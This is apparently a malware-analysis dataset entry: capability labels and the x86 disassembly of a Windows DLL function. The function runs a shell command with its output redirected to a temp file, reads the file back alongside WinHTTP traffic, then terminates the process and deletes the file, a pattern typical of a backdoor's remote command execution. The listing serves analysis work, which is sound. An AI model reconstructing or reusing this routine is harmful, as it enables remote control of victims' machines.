Function at 0x10006105
Capabilities:
Create process on windows
Delete file
Get common file path
Read file on windows
Receive http response
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
mov eax, dword [0x1001c050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str._temp_
mov esi, 0x1002277c
push esi
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x10006146
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x1000615c
push esi
mov edx, 0x7ffffffe
mov eax, 0x104
lea ecx, [ebp - 0x418]
call fcn.100024dc
lea eax, [ebp - 0x210]
push eax
xor esi, esi
push esi
push 0x10019da4
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call edi
lea ecx, [ebp - 0x210]
push ecx
mov dword [ebp - 0x428], eax
call edi
mov ecx, dword [ebp - 0x428]
lea edi, [ecx + eax + 0x104]
lea eax, [edi + edi]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x210]
push ecx
push ebx
push 0x10019dac
push 0x10022574
mov ecx, edi
push str._s_sc___s____s_2_1_
mov edi, eax
mov dword [ebp - 0x428], eax
call fcn.10003a07
push 0x40
lea eax, [ebp - 0x48c]
push esi
push eax
call fcn.1000f670
xor eax, eax
mov dword [ebp - 0x448], esi
lea edi, [ebp - 0x444]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x20
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x460], ax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x490]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 0x428]
xor edi, edi
inc edi
push esi
mov dword [ebp - 0x490], 0x44
mov dword [ebp - 0x464], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x10006265
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
push 0x1998
push 4
mov ecx, edi
pop ebx
call fcn.1000389c
mov edi, eax
neg edi
sbb edi, edi
pop ecx
neg edi
pop ecx
dec edi
jmp 0x10006564
mov dword [ebp - 0x41c], edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x430], esi
push 0x1f4
push dword [ebp - 0x448]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100063fb
push esi
push 0x80
push 3
push esi
push 3
push closesocket
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0x420], ebx
cmp ebx, 0xffffffff
je 0x100063a7
push esi
push esi
push dword [ebp - 0x42c]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 0x424]
push eax
push 0xffe0
push dword [0x100231b8]
push ebx
call edi
test eax, eax
je 0x10006399
mov ebx, dword [ebp - 0x424]
cmp ebx, esi
jbe 0x10006399
push dword [0x100231b8]
xor ecx, ecx
push 0x2012
call fcn.1000389c
pop ecx
pop ecx
test eax, eax
je 0x10006392
mov eax, dword [0x10022984]
mov ebx, dword [0x100230b4]
push esi
push dword [eax + 0xc]
mov dword [ebp - 0x434], eax
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x10006392
mov eax, dword [ebp - 0x434]
push 0x10000
mov esi, ebx
call fcn.1000384d
pop ecx
test eax, eax
je 0x10006390
mov ecx, dword [0x100230b4]
mov eax, 0x1990
cmp word [ecx + 2], ax
jne 0x10006390
mov eax, dword [ebp - 0x424]
add dword [ebp - 0x42c], eax
push 0
lea eax, [ebp - 0x424]
push eax
push 0xffe0
push dword [0x100231b8]
push dword [ebp - 0x420]
call edi
xor esi, esi
jmp 0x100062ec
xor esi, esi
or dword [ebp - 0x41c], 0xffffffff
push dword [ebp - 0x420]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100063d6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
push 0x1998
xor ecx, ecx
push 4
inc ecx
pop ebx
call fcn.1000389c
pop ecx
pop ecx
test eax, eax
je 0x100063f4
mov dword [ebp - 0x41c], esi
cmp dword [ebp - 0x41c], 1
jne 0x100063fb
inc dword [ebp - 0x430]
cmp dword [ebp - 0x430], 0x78
jl 0x1000627d
jmp 0x100063fb
or dword [ebp - 0x41c], 0xffffffff
lea eax, [ebp - 0x438]
push eax
push dword [ebp - 0x448]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x438]
push dword [ebp - 0x448]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 0x41c], 1
jne 0x1000655e
push esi
push 0x80
push 3
push esi
push 3
push closesocket
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0x420], ebx
cmp ebx, 0xffffffff
je 0x10006596
push esi
push esi
push dword [ebp - 0x42c]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 0x424]
push eax
push 0xffe0
push dword [0x100231b8]
push ebx
call edi
test eax, eax
je 0x10006521
mov ebx, dword [ebp - 0x424]
cmp ebx, esi
jbe 0x10006521
push dword [0x100231b8]
xor ecx, ecx
push 0x2012
call fcn.1000389c
pop ecx
pop ecx
test eax, eax
je 0x1000651a
mov eax, dword [0x10022984]
mov ebx, dword [0x100230b4]
push esi
push dword [eax + 0xc]
mov dword [ebp - 0x434], eax
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1000651a
mov eax, dword [ebp - 0x434]
push 0x10000
mov esi, ebx
call fcn.1000384d
pop ecx
test eax, eax
je 0x10006518
mov ecx, dword [0x100230b4]
mov eax, 0x1990
cmp word [ecx + 2], ax
jne 0x10006518
push 0
lea eax, [ebp - 0x424]
push eax
push 0xffe0
push dword [0x100231b8]
push dword [ebp - 0x420]
call edi
xor esi, esi
jmp 0x10006480
xor esi, esi
or dword [ebp - 0x41c], 0xffffffff
push dword [ebp - 0x420]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x41c], 1
jne 0x1000655e
mov esi, dword [0x10022984]
push 1
push 0x2012
push dword [0x100230b0]
call fcn.10003990
add esp, 0xc
test eax, eax
jne 0x1000655c
or dword [ebp - 0x41c], 0xffffffff
xor esi, esi
mov edi, dword [ebp - 0x41c]
cmp dword [ebp - 0x428], esi
je 0x10006578
push dword [ebp - 0x428]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008f62
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
push 0x1998
xor ecx, ecx
push 4
inc ecx
pop ebx
call fcn.1000389c
pop ecx
pop ecx
mov dword [ebp - 0x41c], esi
jmp 0x1000655e